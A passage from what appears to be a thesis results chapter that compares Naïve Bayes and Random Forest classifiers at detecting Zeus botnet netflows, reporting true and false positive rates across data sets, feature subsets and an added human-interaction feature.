lower false positive rate at the expense of true positives.  The Naïve Bayes classifier 

detected all 15 of the Zeus flows but with 505 false positives for a false positive rate of 

12%.  The Random Forest classifier detected 14 of the 15 Zeus flows but with no false 

positives.  Results using the 24 hour data set show a decrease in the true positive rate and 

a slight increase in the false positive rate of the Naïve Bayes classifier which correctly 

classified 14 of the 15 Zeus netflows, but with 1,480 false positives.  Results using the 24 

hour data set show a decrease in the true positive rate of the Random Forest Classifier 

which correctly classified 11 of the 15 Zeus netflows, but with no false positives. Results 

using the two week data set revealed a similar performance decline for the two classifiers 

over the two hour data set, and for the Random Forest classifier over the 24 hour data set.  

The performance of the Naïve Bayes classifier was nearly equivalent across the 24 hour 

and two week data sets.  The Naïve Bayes classifier again correctly classified 14 of the 

15 Zeus netflows, so its true positive rate remained the same as with the 24 hour data set, 

and with 50,604 false positives for a false positive rate of 18% compared with 19% for 
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the 24 hour data set and 12% for the two hour data set.  The Random Forest classifier 

correctly classified only nine of the 15 Zeus netflows, but again with no false positives.  

In summary, the performance of both classifiers was best with the smallest data set and 

declined with the larger data sets when using 10-fold stratified cross validation within 

each data set.  The true positive rate of the Naïve Bayes classifier was consistently better 

than the true positive rate of the Random Forest classifier, and the false positive rate of 

the Random Forest classifier was consistently better than the false positive rate of the 

Naïve Bayes classifier across these three data sets.  

Compare the results when a new interaction feature is added. 

     For the next set of experiments, the same three data sets were used with the same 

feature sets.  However, a new “interaction” feature was added. The interaction feature had 

two possible values, yes (yy) or no (nn), which was assigned to each benign netflow 

based on its proximity in time to human interaction with the host.  For the two-hour, 24-

hour, and two-week data sets here, the proximity in time to human interaction ranged 

from 45 seconds before to 75 seconds after a corresponding event in the interaction log.  

The time range was necessary to accommodate the difference in time resolution between 

the times assigned to the netflows using Argus and the timestamps on the interaction log 

entries using KidLogger.  This particular time range was determined through preliminary 

experiments and is described in more detail later in this chapter.  All of the Zeus netflows 

were assigned a value of no (nn) for the interaction feature.  These netflows represent the 

bot autonomously sending information to the controller after infection which was 

independent of human interaction.  The objective was to determine whether this feature 

made a difference in the performance of the classifiers.  



103 

 

Table 4-5. Round 1-2 Results 

Added interaction feature; 10-fold cross-validation 

Data Set Classifier Benign 
Instances 

Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

2hr NB 4313 15 15 1 454 .105 

2hr RF 4313 15 13 .867 0 0 

24hr NB 7800 15 14 .933 1435 .184 

24hr RF 7800 15 11 .733 0 0 

2wk NB 280423 15 14 .933 50348 .180 

2wk RF 280423 15 10 .667 0 0 

 

     Results using the two hour data set with the interaction feature added, the first two 

rows of Table 4-5, revealed that the true positive rate of the Naïve Bayes classifier 

remained unchanged at 15 of 15 but the number of false positives decreased from 505 of 

4,313 to 454 of 4,313.  The true positive rate of the Random Forest classifier declined 

slightly, detecting 13 of 15 Zeus netflows compared with 14 of 15 without the interaction 

feature. The Random Forest classifier produced no false positives in either case.  Results 

using the 24-hour data set revealed a similar improvement to the false positive rate of the 

Naïve Bayes classifier, which produced 1435 of 7800 possible false positives (18%) 

compared with 1480 (19%) previously.  Its true positive rate remained the same at 14 of 

15.  The true positive rate of the Random Forest classifier also remained the same at 11 of 

15 with the 24-hour data set, as did its zero false positive rate.  Results from the larger, 

two-week data set also showed a decrease in the number of false positives produced by 

the Naïve Bayes classifier, 50,348 comparted with 50,604 previously, while the number 

of true positives remained constant at 14 of 15.  The true positive rate of the Random 

Forest classifier, however, improved with this data set.  It detected 10 of 15 Zeus 
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netflows compared with nine of 15 without the interaction feature while maintaining a 

zero false positive rate.  These results indicate that the introduction of the interaction 

feature made a measurable improvement to the performance of the Naïve Bayes classifier 

across all three data sets in terms of false positives.  The introduction of the interaction 

feature made a measurable improvement to the performance of the Random Forest 

classifier in terms of true positives in only the largest of the three data sets.  In the 

smallest data set, the number of true positives decreased. 

     For the next comparisons, each of the three data sets was divided into separate training 

and testing subsets.  The first 80% of the flows were used to form the training set and the 

remaining 20% of the flows were used to form the testing set.  The Zeus samples were 

split evenly across the training and testing subsets, keeping flows to the same destination 

address (daddr) together as depicted by the shading in Table 4-3.  After the classifiers 

were trained and tested using this partitioning of the data set, the training and testing roles 

were reversed and the classifiers were then trained with the smaller subset (20%) and 

tested with the larger (80%).   The results are listed in Table 4-6. 

Table 4-6. Round 2-1 Results 

No Interaction Feature; Separate Training/Testing Subsets 

Data Set Classifier Benign 
Instances 

Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

2hr train/test NB 863 7 4 .571 2 .002 

2hr train/test RF 863 7 1 .167 0 0 

2hr test/train NB 3450 8 6 .750 246 .071 

2hr test/train RF 3450 8 0 0 0 0 

24hr train/test NB 1560 7 5 .714 106 .068 

24hr train/test RF 1560 7 1 .167 0 0 

24hr test/train NB 6240 8 7 .875 360 .058 
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24hr test/train RF 6240 8 0 0 0 0 

2wk train/test NB 56085 7 5 .714 1291 .023 

2wk train/test RF 56085 7 0 0 0 0 

2wk test/train NB 224338 8 8 1 12178 .054 

2wk test/train RF 224338 8 0 0 0 0 

 

     Results using the two hour data set partitioned into separate training and test subsets 

were significantly less accurate than the results using stratified cross validation across 10 

folds of the same data set.  The results of this round were also quite different when the 

training and testing roles were reversed.  In the first run of this phase, shown as the first 

two rows for each data set in Table n., the larger subset with eight Zeus netflows was 

used to train the classifiers and the smaller subset with seven Zeus netflows was used to 

test them.  The Naïve Bayes classifier detected four of the seven the Zeus netflows with 

two false positives.  The Random Forest classifier detected one of the seven with no false 

positives. In the second run of this phase, the smaller subset with seven Zeus netflows 

was used to train the classifiers and the larger subset with eight Zeus netflows was used 

to test them.  This time the Naïve Bayes classifier detected six of the eight Zeus netflows 

but with more false positives, 246 compared with 2 previously.  The Random Forest 

classifier detected none of the eight Zeus netflows but again with no false positives.       

     Results using the 24 hour data set partitioned into separate training and test subsets 

also revealed significant differences from the cross-validation results and when the 

training and testing roles were reversed.  In the first run, the larger subset with eight Zeus 

netflows was used to train the classifiers and the smaller subset with seven Zeus netflows 

was used to test them.  The Naïve Bayes classifier detected five of the seven Zeus 

netflows with 106 false positives.  The Random Forest classifier detected only one of 
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seven, but with no false positives.  In the second run, the smaller subset with seven Zeus 

netflows was used to train the classifiers and the larger subset with eight Zeus netflows 

was used to test them.  The Naïve Bayes classifier detected seven of eight Zeus netflows 

but with more false positives than before, 360 compared with 106 previously.  The 

Random Forest classifier did not detect any of the eight Zeus netflows but generated no 

false positives. 

     Results using the two-week data set partitioned into separate training and test subsets 

again revealed differences from the cross validation results and when the training and 

testing roles were reversed.  In the first run, the larger subset with eight Zeus netflows 

was used to train the classifiers and the smaller subset with seven Zeus netflows was used 

to test them.  The Naïve Bayes classifier detected five of the seven Zeus netflows; the 

Random Forest classifier detected none.  The Naïve Bayes classifier generated 1,291 

false positives; the Random Forest classifier generated none.  In the second run, the 

smaller subset with seven Zeus netflows was used to train the classifiers and the larger 

subset with eight Zeus netflows was used to test them.  The Naïve Bayes classifier 

detected all eight of the Zeus netflows, but with 12,178 false positives.  The Random 

Forest classifier detected none, but again with no false positives. 

     In summary, the results of both classifiers were influenced by which subset was used 

for training and which was used for testing.  The false positive rate of the Random Forest 

classifier was zero for each data set, regardless of whether the larger or smaller subset 

was used for training.  This was better than the false positive rate of the Naïve Bayes 

classifier in every case.  The true positive rate of the Naïve Bayes classifier was better 

than the true positive rate of the Random Forest classifier in every case.  The 
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performance of both classifiers was better when using 10-fold cross-validation across the 

single data sets than when using separate training and testing subsets.  The detection rate 

of the Random Forest classifier decreased slightly with the larger data sets whereas the 

detection rate of the Naïve Bayes classifier improved slightly.    

     For the next phase, the three data sets were again partitioned into separate training and 

testing subsets, this time with the interaction feature added.  The cycle of first training 

with the larger of the subsets and testing with the smaller, followed by then training with 

the smaller subset and testing with the larger was repeated.  The results listed in Table 4-

7 revealed 10 cases of improved performance and six cases of worsened performance.  

The number of true positives and true positive rates for both classifiers increased using 

the two-hour data set with added interaction feature when trained with the larger subset 

and tested with the smaller. The number of false positives and false positive rate 

increased for the Naïve Bayes classifier when the testing and training roles were reversed 

for the subsets of the two-hour data set.  Results using the 24-hour data set divided into 

training and testing subsets with the interaction feature added revealed a decrease in the 

number of false positives and false positive rate for the Naïve Bayes classifier and a 

decrease in the number of true positives and true positive rate for the Random Forest 

classifier.  When the training and testing roles were reversed, the Naïve Bayes classifier 

achieved more true positives and a higher true positive rate but with a corresponding 

increase in false positives and false positive rate.  Using the two-week data set partitioned 

into training and testing subsets with the interaction feature added, the number of false 

positives produced by the Naïve Bayes classifier decreased in both training and testing 



108 

 

subset combinations. The performance of the Random Forest classifier did not change; it 

did not detect any of the Zeus instances and did not produce any false positives. 

Table 4-7. Round 2-2 Results 

Added Interaction Feature; Separate Training/Testing Subsets 

Data Set Classifier Benign 
Instances 

Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

2hr train/test NB 863 7 5 .714 2 .002 

2hr train/test RF 863 7 5 .714 0 0 

2hr test/train NB 3450 8 6 .750 264 .077 

2hr test/train RF 3450 8 0 0 0 0 

24hr train/test NB 1560 7 5 .714 101 .065 

24hr train/test RF 1560 7 0 0 0 0 

24hr test/train NB 6240 8 8 1 371 .059 

24hr test/train RF 6240 8 0 0 0 0 

2wk train/test NB 56085 7 5 .714 1279 .023 

2wk train/test RF 56085 7 0 0 0 0 

2wk test/train NB 224338 8 8 1 12137 .054 

2wk test/train RF 224338 8 0 0 0 0 

 

     In general, the performance of the Naïve Bayes classifier was better than expected for 

such a small number of training examples, though the difference in true positives when 

the training and testing subsets were reversed was noticeable.  The Random Forest 

classifier had trouble detecting any of the Zeus netflows in the three data sets when 

trained with the smaller subset and tested with the larger.  In order to determine how 

sensitive the classifier performance was to the chosen feature set, different features were 

removed for the next set of experiments. 
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Compare the performance of the classifiers with difference feature sets. 

     For this set of experiments, only the two-week data set was used.  It was split in the 

same proportion as before for the separate training and testing subsets.  The Destination 

Address (daddr) feature was removed from the previous feature set to form the first 

reduced feature subset.  The two-week data set contains 2886 distinct values for 

Destination Address (daddr); however, the 15 Zeus netflows have only three.  This 

feature removal resulted in slightly different results from both classifiers using the 10-

fold cross-validation approach (Table 4-8).  The Naïve Bayes classifier again detected 14 

of 15 Zeus netflows, but with a higher number of false positives, 54,785 compared with 

50,604 previously.  The detection rate of the Random Forest classifier declined slightly. It 

detected seven of 15 Zeus netflows compared with nine of 15 previously.   

Table 4-8. Round 3-1 Results 

No Interaction Feature; cross-validation; feature (daddr) removed 

Data Set Classifier Benign 
Instances 

Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

2wk NB 280423 15 14 .933 54785 .195 

2wk RF 280423 15 7 .467 0 0 

 

     When the interaction feature was added in for the next run (Table 4-9), the true 

positive rate of the Naïve Bayes classifier remained constant, 14 of 15 Zeus netflows or 

93%, but the number of false positives decreased slightly from 54,785 to 54,597.  The 

true positive rate of the Random Forest classifier improved from 47% to 60%, and it did 

so without generating any false positives.   
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Table 4-9. Round 3-2 Results 

Added Interaction Feature; cross-validation; feature (daddr) Removed 

Data Set Classifier Benign 
Instances 

Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

2wk NB 280423 15 14 .933 54597 .195 

2wk RF 280423 15 9 .600 0 0 

 

     Results from this feature subset when the two-week data set was split into separate 

subsets for training and testing revealed changes in the performance of the Naïve Bayes 

classifier but not the Random Forest classifier (Table 4-10).  The Naïve Bayes classifier 

detected six of seven Zeus netflows compared with five of seven previously. However, it 

did so with considerably more false positives, 5,489 compared with 1,291 previously.  

When the training and testing roles were reversed, only the number of false positives 

from the Naïve Bayes classifier changed, 12,685 compared with 12,178 previously. 

Table 4-10. Round 4-1 Results 

No interaction feature; separate training/testing subsets; feature (daddr) removed 

Data Set Classifier Benign 
Instances 

Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

2wk train/test NB 56085 7 6 .857 5489 .098 

2wk train/test RF 56085 7 0 0 0 0 

2wk test/train NB 224338 8 8 1 12685 .057 

2wk test/train RF 224338 8 0 0 0 0 

 

     Results from this feature subset and training split when the interaction feature was 

added revealed a similar change in the performance of the Naïve Bayes classifier over the 

original feature set, better true positive rate and worse false positive rate (Table 4-11).  

The Naïve Bayes classifier detected six of seven Zeus netflows compared with five of 
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seven previously, and with 5,463 false positives compared with 1,279 previously.  When 

compared with the results using this same feature set with without the interaction feature 

added, the true positive rates remained the same but the number of false positives and 

false positive rates decreased for the Naïve Bayes classifier for both training and testing 

combinations. 

Table 4-11. Round 4-2 Results 

Added interaction feature; separate training/testing subsets; feature (daddr) 
removed 

Data Set Classifier Benign 
Instances 

Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

2wk train/test NB 56085 7 6 .857 5463 .097 

2wk train/test RF 56085 7 0 0 0 0 

2wk test/train NB 224338 8 8 1 12652 .056 

2wk test/train RF 224338 8 0 0 0 0 

 

     For the next feature subset, the Source Type of Service (stos) and Destination Type of 

Service (dtos) features were removed from the original feature set.  The two-week data 

set contains only three distinct values for stos and only five for destination dtos.  The 15 

Zeus netflows contain only one value for stos and two values for dtos, likely making 

these more powerful features, at least for the Random Forest classifier.  This feature 

subset produced the results in Table 4-12.  The Naïve Bayes classifier again detected 14 

of 15 Zeus netflows, but this came at the cost of more false positives, 53,683 compared 

with 50,604 in Round 1-1.  The Random Forest classifier detected fewer Zeus netflows, 

four of 15 compared with nine of 15 in Round 1-1, but maintained a zero false positive 

rate. 
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Table 4-12. Round 5-1 Results 

No Interaction Feature; cross-validation; features (stos & dtos) removed 

Data Set Classifier Benign 
Instances 

Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

2wk NB 280423 15 14 .933 53683 .191 

2wk RF 280423 15 4 .267 0 0 

 
 

     Adding the interaction feature to this feature subset produced the results shown in 

Table 4-13 below.  The Naïve Bayes classifier again detected 14 of the 15 Zeus netflows 

but with a slightly higher false positive rate than with the original feature set and slightly 

lower false positive rate than without the interaction feature.  The Random Forest 

classifier detected fewer Zeus netflows, three of 15 compared with 10 of 15 using the full 

feature set, but maintained a zero false positive rate.  Removal of these nominal valued 

features impacted the Random Forest classifier more than the Naïve Bayes classifier, and 

the impact was negative compared with the full feature set.  Even adding the interaction 

feature did not improve the true positive rate of the Random Forest classifier in this case. 

Table 4-13. Round 5-2 Results 

Added interaction feature; cross-validation; features (stos & dtos) removed 

Data Set Classifier Benign 
Instances 

Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

2wk NB 280423 15 14 .933 53495 .191 

2wk RF 280423 15 3 .200 0 0 

 

     Splitting this reduced feature data set into subsets for training and testing produced the 

results in Table 4-14 below.  Only the results of the Naïve Bayes classifier differed from 

the results with the full feature set, and only by a small number of false positives, 1,375 
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compared with 1,291 in Round 1-1.  When the training and testing roles were reversed, 

the Naïve Bayes classifier again detected all eight Zeus netflows but with a higher 

number of false positives, 13,357 compared with 12,178 previously.  Again the Random 

Forest classifier failed to detect any of the Zeus netflows and produced no false positives. 

Table 4-14. Round 6-1 Results 

No interaction feature; separate training/testing subsets; features (stos & dtos) 
removed 

Data Set Classifier Benign 
Instances 

Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

2wk train/test NB 56085 7 5 .714 1375 .025 

2wk train/test RF 56085 7 0 0 0 0 

2wk test/train NB 224338 8 8 1 13357 .060 

2wk test/train RF 224338 8 0 0 0 0 

 

     Adding the interaction feature to this feature subset and splitting the data set into 

separate training and testing subsets produced the results in Table 4-15 below.  Again 

only the performance of the Naïve Bayes classifier changed from Round 2-2; the Random 

Forest classifier failed to detect any of the Zeus netflows.  The Naïve Bayes classifier 

produced more false positives than with the full feature set in both training and testing 

combinations, but fewer false positives in both combinations than using this reduced 

feature set without the interaction feature.   

Table 4-15. Round 6-2 Results 

Added interaction feature; separate training/testing subsets; features (stos & dtos) 
removed 

Data Set Classifier Benign 
Instances 

Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

2wk train/test NB 56085 7 5 .714 1372 .024 
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2wk train/test RF 56085 7 0 0 0 0 

2wk test/train NB 224338 8 8 1 13333 .059 

2wk test/train RF 224338 8 0 0 0 0 

 

     Finally, the (tcprtt, synack, ackdat) features were removed.  Results are listed in Table 

4-16.  This reduced feature set resulted in performance declines for both classifiers. The 

Naïve Bayes classifier achieved the same number of detections, 14 of 15, as in Round 1-

1, but with a much larger number of false positives, 69,342 compared with 50,604.  The 

Random Forest classifier detected fewer Zeus netflows, seven of 15 compared with nine 

of 15 in Round 1-1.  The Random Forest classifier again produced no false positives.  

Table 4-16. Round 7-1 Results 

No interaction feature; cross-validation; features (tcprtt, synack, ackdat) removed 

Data Set Classifier Benign 
Instances 

Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

2wk NB 280423 15 14 .933 69342 .247 

2wk RF 280423 15 7 .467 0 0 

 

     When the interaction feature was added to this reduced feature set, the classifiers 

produced the results in Table 4-17 below.  The Naïve Bayes classifier again detected 14 

of 15 Zeus netflows, same as with the full feature set and as with the reduced set without 

the interaction features.  Again it produced significantly more false positives than with 

the full feature set, but fewer than with the reduced feature set without the interaction 

feature.  The Random Forest classifier detected 10 of 15 Zeus netflows, an improvement 

over the results with the reduced feature set without the interaction features.   
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Table 4-17. Round 7-2 Results 

Added interaction feature; cross-validation; features (tcprtt, synack, ackdat) 
removed 

Data Set Classifier Benign 
Instances 

Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

2wk NB 280423 15 14 .933 68929 .246 

2wk RF 280423 15 10 .667 0 0 

 

     Next, the data set was split into separate training and testing subsets (Table 4-18).  

Again the true positive rate was the same and the false positive rate was higher for the 

Naïve Bayes classifier in both training and testing combinations.  The Random Forest 

classifier again detected none of the Zeus netflows in the first combination.  However, 

when the training roles were reversed the Random Forest classifier did detect one of the 

eight Zeus netflows compared with none using the full feature set in Round 2-1.   

Table 4-18. Round 8-1 Results 

No interaction feature; separate training/testing subsets; features (tcprtt, synack, 
ackdat) removed 

Data Set Classifier Benign 
Instances 

Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

2wk train/test NB 56085 7 5 .714 2342 .042 

2wk train/test RF 56085 7 0 0 0 0 

2wk test/train NB 224338 8 8 1 61834 .276 

2wk test/train RF 224338 8 1 .125 0 0 

 

     Adding the interaction feature to this feature subset and splitting the data set into 

separate training and testing subsets produced the results in Table 4-19 below. Again the 

Naïve Bayes classifier detected five of the seven Zeus netflows, but with a higher number 
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of false positives than with the full feature set in Round 2-2, and a slightly lower number 

of false positives than without the interaction feature in Round 8-1.  The Random Forest 

classifier failed to detect any of the Zeus netflows, the same as with the full feature set in 

Round 2-2 and with the reduced feature set without the interaction feature in Round 8-1.  

When the training and testing roles were reversed, the results were similar for the Naïve 

Bayes classifier, same detection rate with fewer false positives.  The Random Forest 

classifier failed to detect any of the Zeus netflows, which was the same as with the full 

feature set in Round 2-2, but one less than with the reduced feature set without the 

interaction feature in Round 8-1. 

Table 4-19. Round 8-2 Results 

Added interaction feature; separate training/testing subsets; features (tcprtt, 
synack, ackdat) removed 

Data Set Classifier Benign 
Instances 

Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

2wk train/test NB 56085 7 5 .714 2338 .042 

2wk train/test RF 56085 7 0 0 0 0 

2wk test/train NB 224338 8 8 1 61565 .274 

2wk test/train RF 224338 8 0 0 0 0 
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Compare the performance of the classifiers with a larger set of malicious samples 

for training and testing. 

     For the next set of experiments, the size of the malicious data sample was increased 

from 15 instances to 30 instances, as depicted in Table 4-20.  The subsets included 

netflows from multiple Destination Addresses (daddr), whereas only one of the subsets 

did for the previous rounds (Table 4-3). 

Table 4-20. Zeus Samples Used in Second Rounds of Experimentation 

daddr inet_aton(daddr) sport sbytes 
200.98.246.214 3361928918 1032 3353 
200.98.246.214 3361928918 1032 585 
200.98.246.214 3361928918 1032 60 
200.98.246.214 3361928918 1035 1712 
200.98.246.214 3361928918 1035 60 
200.98.246.214 3361928918 1040 8788 
200.98.246.214 3361928918 1040 60 
199.201.122.227 3351870179 1033 4123 
199.201.122.227 3351870179 1033 120 
199.201.122.227 3351870179 1036 894 
199.201.122.227 3351870179 1036 120 
199.201.122.227 3351870179 1040 922 
199.201.122.227 3351870179 1040 7827 
199.201.122.227 3351870179 1040 220 
199.201.122.227 3351870179 1040 186 
184.22.237.213 3088510421 1032 968 
184.22.237.213 3088510421 1032 846 
184.22.237.213 3088510421 1032 698 
184.22.237.213 3088510421 1032 60 
184.22.237.213 3088510421 1038 8742 
184.22.237.213 3088510421 1038 60 
95.128.157.163 1602264483 1031 804 
95.128.157.163 1602264483 1032 904 

37.0.123.150 620788630 1034 901 
37.0.123.150 620788630 1043 1047 
37.0.123.150 620788630 1044 1792 
37.0.123.150 620788630 1045 1060 
37.0.123.150 620788630 1046 1060 
37.0.123.150 620788630 1049 4900 
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37.0.123.150 620788630 1050 901 
 

     The next rounds of experimentation again used the larger, two-week data set 

containing 280,423 benign netflows.  The results of Round 9-1 using 10-fold cross-

validation within the data set, no interaction feature, and the original feature set are 

depicted in Table 4-21 for comparison with the last two rows of Table 4-4 for Round 1-1.  

Comparing the number of true positives is no longer relevant, given the change in total 

Zeus netflows from 15 to 30, but comparing the true positive rate remains relevant.  With 

the larger set of Zeus netflows for cross-validation, the Naïve Bayes classifier produced a 

higher true positive rate, 97% compared with 93% in Round 1-1.  However, it did so at 

the expense of a much higher number of false positives, 116,964 compared with 50,604 

previously.  The Random Forest classifier produced a higher true positive rate, 80% 

compared with 60% in Round 1-1, while maintaining a zero false positive rate. 

Table 4-21. Round 9-1 Results 

No interaction feature; cross-validation, full feature set 
Data Set Classifier Benign 

Instances 
Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

2wk NB 280423 30 29 .967 116964 .417 

2wk RF 280423 30 24 .800 0 0 

 

     Adding the interaction feature for Round 9-2 produced the results in Table 4-22.  The 

Naïve Bayes classifier produced the same true positive rate improvement over the initial 

Round 1-2 results, 97% compared with 93%, but again with a much higher number of 

false positives, 116,633 compared with 50,348.  However, the number of false positives 

was less than without the interaction feature added in Round 9-1.  The Random Forest 
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classifier again produced a higher true positive rate over the initial Round 1-2 results, 

83% compared with 67%.  This was also a higher true positive rate than the 80% without 

the interaction feature in Round 9-1 and without any false positives. 

Table 4-22. Round 9-2 Results 

Added interaction feature; cross-validation; full feature set 
Data Set Classifier Benign 

Instances 
Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

2wk NB 280423 30 29 .967 116633 .416 

2wk RF 280423 30 25 .833 0 0 

 
     Dividing the data set into subsets for training and testing in Round 10-1 produced the 

results in Table 4-23 for comparison with the results of Round 2-1 in the last four rows of 

Table 4-6.  When trained with the larger subset and tested with the smaller, neither 

classifier detected any of the 15 Zeus netflows.  This represents no change to the zero 

true positive rate for the Random Forest classifier in Round 2-1 but represents a 

significant decrease in the true positive rate for the Naïve Bayes classifier, from 71% to 

0%.  The number of false positives produced by the Naïve Bayes classifier decreased 

from 1,291 to 118, however.  The Random Forest again produced no false positives.  

When the training and testing roles were reversed, the Naïve Bayes classifier produced a 

true positive rate of 80% compared with 100% in Round 2-2.  It produced a much higher 

number of false positives, 86,685 compared with 12,137.  The Random Forest classifier 

produced no true positives and no false positives, same as in Round 2-2.  

Table 4-23. Round 10-1 Results 

No interaction feature; separate training/testing subsets, full feature set 
Data Set Classifier Benign 

Instances 
Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 
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2wk train/test NB 56085 15 0 0 118 .002 

2wk train/test RF 56085 15 0 0 0 0 

2wk test/train NB 224338 15 12 .800 86685 .386 

2wk test/train RF 224338 15 0 0 0 0 

 

     Adding the interaction feature for Round 10-2 produced the results in Table 4-24.  

This produced the exact same results as Round 10-1 for the first combination of training 

and testing subsets.  However, when the training and testing roles were reversed, the 

Naïve Bayes classifier again produced an 80% true positive rate, but this time with 

86,624 false positives which is significantly more than in Round 2-2 but less than without 

the interaction feature in Round 10-1.  The Random Forest classifier produced a true 

positive rate of 15%, higher than the rate of zero from both Round 2-2 and Round 10-1.  

It did so while maintaining a false positive rate of zero. 

Table 4-24. Round 10-2 Results 

Added interaction feature; separate training/testing subsets; full feature set 
Data Set Classifier Benign 

Instances 
Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

2wk train/test NB 56085 15 0 0 118 .002 

2wk train/test RF 56085 15 0 0 0 0 

2wk test/train NB 224338 15 12 .800 86624 .386 

2wk test/train RF 224338 15 2 .154 0 0 

 

     For Round 11-1 (Table 4-25), the Destination Address (daddr) feature was removed 

from the full feature set and 10-fold cross-validation was used within the two-week data 

set for comparison with the results of Round 1-1 and Round 3-1.  The Naïve Bayes 

classifier produced a true positive rate of 97%, which was an improvement over the 93% 
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from  both Round 1-1 and Round 3-1.  However, it produced 119,574 false positives 

which was significantly more than the 50,604 in Round 1-1 and 54,785 in Round 3-1.  

The Random Forest classifier produced a true positive rate of 57% which was lower than 

the 60% true positive rate of Round 1-1and higher than the 47% true positive rate of 

Round 3-1. The Random Forest classifier maintained a false positive rate of zero.   

Table 4-25. Round 11-1 Results 

No interaction feature; cross-validation; feature (daddr) removed 

Data Set Classifier Benign 
Instances 

Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

2wk NB 280423 30 29 .967 119574 .426 

2wk RF 280423 30 17 .567 0 0 

 

     The interaction feature was added for Round 11-2 and the results are listed in Table 4-

26.  The Naïve Bayes classifier produced a true positive rate of 97%, same as without the 

interaction feature in Round 11-1 and higher than the 93% rate in Round 1-2 and Round 

3-2.  It produced 119,328 false positives which was significantly more than the 50,348 of 

Round 1-2and the 54,597 of Round 3-2 but less than the 119,574 in Round 11-1 without 

the interaction feature.  The Random Forest classifier produced a true positive rate of 

67% which was the same as in Round 1-2, an improvement over the 60% in round 3-2, 

and an improvement over the 57% true positive rate in Round 11-1 without the 

interaction feature.  The Random Forest classifier again produced no false positives. 

Table 4-26. Round 11-2 Results 

Added interaction feature; cross-validation; feature (daddr) removed 

Data Set Classifier Benign 
Instances 

Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

2wk NB 280423 30 29 .967 119328 .426 
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2wk RF 280423 30 20 .667 0 0 

 
     For Round 12-1 (Table 4-27), the reduced feature set was divided into separate 

training and testing subsets for comparison with the results of Round 2-1 and Round 4-1.  

The Naïve Bayes classifier produced a true positive rate of 60% compared with 71% in 

Round 1-1 and 86% in Round 4-1 using the first combination of training and testing 

subsets.  It did so while producing 13,346 false positives compared with 1,291 in Round 

2-1 and 5,489 in Round 4-1.  When the training and testing subsets were reversed, the 

Naïve Bayes classifier produced a true positive rate of 80% compared with 100% in both 

Round 2-1 and Round 4-1.  It produced 88,210 false positives compared with 12,178 in 

Round 2-1 and 12,685 in Round 4-1.  The Random Forest classifier produced no true 

positives and no false positives with either combination of training and testing subsets.  

This represented no change over the results of Round 2-1 or Round 4-2. 

Table 4-27. Round 12-1 Results 

No interaction feature; separate training/testing subsets; feature (daddr) removed 

Data Set Classifier Benign 
Instances 

Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

2wk train/test NB 56085 15 9 .600 13346 .238 

2wk train/test RF 56085 15 0 0 0 0 

2wk test/train NB 224338 15 12 .800 88210 .393 

2wk test/train RF 224338 15 0 0 0 0 

 

     For Round 12-2 of experimentation (Table 4-28), the interaction feature was added for 

comparison with the results of Round 2-2, Round 4-2, and Round 12-1.  The Naïve Bayes 

classifier produced a true positive rate of 60% compared with 71% in Round 2-2,  86% in 

Round 4-2, and the same 60% in Round 12-1 without the interaction feature.  The Naïve 
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Bayes classifier produced 13,323 false positives, considerably more than the 1,279 in 

Round 2-2 and the 5,463 in Round 4-2, but less than the 13,346 of Round 12-1 without 

the interaction feature.  When the training and testing roles were reversed, the Naïve 

Bayes classifier produced a true positive rate of 80% compared with 100% in both Round 

2-2 and Round 4-2.  It produced 88,039 false positives, again a significant increase over 

the 12,137 of Round 2-2 and 12,652 of Round 4-2, but less than the 88,210 of Round 12-

1 without the interaction feature.  The Random Forest classifier again produced no true or 

false positives for either combination of training and testing data subsets. 

Table 4-28. Round 12-2 Results 

Added interaction feature; separate training/testing subsets; feature (daddr) 
removed 

Data Set Classifier Benign 
Instances 

Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

2wk train/test NB 56085 15 9 .600 13323 .238 

2wk train/test RF 56085 15 0 0 0 0 

2wk test/train NB 224338 15 12 .800 88039 .392 

2wk test/train RF 224338 15 0 0 0 0 

 

     For Round 13-1 (Table 4-29), the Source and Destination Type of Service (stos & 

dtos) features were removed from the full feature set and 10-fold cross-validation was 

used within the two-week data set for comparison with the results of Round 1-1 and 

Round 5-1.  The Naïve Bayes classifier produced a true positive rate of 97% compared 

with 93% in both Round 1-1 and Round 5-1.  It produced 125,694 false positives 

compared with 50,604 in Round 1-1 and 53,683 in Round 5-1.  The Random Forest 
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classifier produced a true positive rate of 53% compared with 60% in Round 1-1 and 

27% in Round 5-1, again with no false positives.   

Table 4-29. Round 13-1 Results 

No interaction feature; cross-validation; features (stos & dtos) removed 

Data Set Classifier Benign 
Instances 

Zeus 
Instances 

True 
Positives 

TP 
Rate 

False 
Positives 

FP 
Rate 

2wk NB 280423 30 29 .967 125694 .448 

2wk RF 280423 30 16 .533 0 0 

 
